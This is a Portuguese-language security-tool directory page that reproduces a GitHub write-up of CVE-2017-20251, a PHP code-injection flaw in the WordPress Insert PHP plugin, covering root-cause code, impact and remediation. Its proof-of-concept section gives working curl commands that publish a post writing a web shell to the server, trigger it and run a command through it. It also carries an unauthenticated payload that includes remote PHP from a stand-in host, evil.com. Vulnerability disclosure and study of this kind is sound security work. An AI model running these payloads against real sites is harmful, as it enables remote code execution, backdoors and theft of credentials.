Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
By-Poloss..-..CVE-2017-20251 — Inserir Injeção de Código PHP em Plugin PHP | Kitploit
Ferramentas/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

Inserir Injeção de Código PHP em Plugin PHP

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-20251: Plugin Insert PHP - Injeção de Código PHP

Título da Vulnerabilidade

Injeção de Código PHP sem Autenticação via Processamento de Shortcode no Plugin Insert PHP

Informações Básicas

CampoValor
ID do CVECVE-2017-20251
PluginInsert PHP (agora Woody Code Snippets)
Versões Afetadas< 3.3.1 (testado na 1.3)
CWECWE-94 (Injeção de Código)
CVSS v3.19.8 (Crítico)
Vetor CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DivulgaçãoPública (Exploit-DB 41308)

Descrição

O plugin Insert PHP anterior à versão 3.3.1 permite que atacantes remotos executem código PHP arbitrário por meio de uma vulnerabilidade de injeção via shortcode. O plugin registra um shortcode [insert_php]...[/insert_php] que avalia diretamente o conteúdo dentro das tags do shortcode usando a função eval() do PHP, sem qualquer sanitização ou validação.

Um atacante que consiga criar ou modificar posts (via REST API, XML-RPC ou com acesso de colaborador/administrador) pode injetar código PHP arbitrário em qualquer página ou post que renderize seu conteúdo, alcançando execução remota de código completa no servidor web.

Análise Técnica

Causa Raiz

A vulnerabilidade existe na função will_bontrager_insert_php() registrada como um filtro de the_content:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Principais Problemas:

  1. O conteúdo do shortcode é passado diretamente para eval() sem qualquer sanitização
  2. Nenhuma autenticação ou verificação de capacidade é realizada
  3. Nenhuma validação de que o conteúdo provém de um post de snippet legítimo
  4. O filtro é executado com prioridade 9, processando o conteúdo antes de outros filtros do WordPress

Vetor de Ataque

  1. Acesso Inicial: O atacante cria ou edita um post com conteúdo malicioso contendo o shortcode [insert_php]
  2. Entrega: O shortcode é armazenado no banco de dados do WordPress como conteúdo do post
  3. Execução: Quando qualquer usuário visualiza a página, o WordPress executa os filtros de the_content
  4. Impacto: O eval() executa código PHP arbitrário no servidor

Condições para Exploração

  • Site WordPress com o plugin Insert PHP versão < 3.3.1 instalado e ativado
  • O atacante deve ter capacidade de criar ou editar posts (função de colaborador ou superior)
  • No WordPress < 4.7, a REST API permitia criação de posts sem autenticação (permitindo RCE completa sem autenticação)
  • No WordPress >= 4.7, é necessária autenticação para criação de posts via REST API

Impacto

Gravidade: Crítica

Execução Remota de Código (RCE) completa no servidor web:

  • Executar código PHP arbitrário no servidor
  • Ler/escrever qualquer arquivo acessível ao usuário do servidor web
  • Acessar credenciais do banco de dados a partir do wp-config.php
  • Instalar web shells ou backdoors
  • Mover-se lateralmente para outros sistemas
  • Comprometimento total da confidencialidade, integridade e disponibilidade

PoC - Comandos Curl

Passo 1: Criar um Post com Shortcode Malicioso (Autenticado)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Passo 2: Visitar o Post para Acionar a Execução de Código

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Passo 3: Verificar a Execução de Código

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Alternativa: Teste Direto de eval() (Prova Simples)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Referência do Exploit-DB (Sem Autenticação, WP < 4.7)

Para versões antigas do WordPress em que a REST API permitia criação de posts sem autenticação:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Exemplo de Resposta

Quando o shortcode vulnerável é processado, o código PHP interno é executado por eval(). Para o teste do arquivo marcador:

root@kitploit:~
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

Remediação Recomendada

  1. Imediata: Desinstale o plugin Insert PHP ou atualize para a versão 3.3.1 ou posterior
  2. Plugin Alternativo: Use um plugin moderno de snippets de código, como o WPCode, que utiliza contextos de execução seguros
  3. Se For Necessário Usar Snippets PHP: Garanta que apenas administradores confiáveis possam criar/editar posts e considere desabilitar a REST API para não administradores
  4. Endurecimento: Defina a constante DISALLOW_UNFILTERED_HTML (embora isso não mitigue completamente o problema)

Análise do Patch

A versão corrigida (3.3.1+):

  • Renomeou o shortcode de [insert_php] para [wbcr_php_snippet]
  • Removeu o uso direto de eval() em favor de um contexto de execução seguro
  • Adicionou verificações de autenticação nos endpoints da REST API
  • Implementou validação do ID do snippet antes da execução

Referências

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • WordPress Plugin Page
  • CWE-94: Code Injection
Baixar ferramenta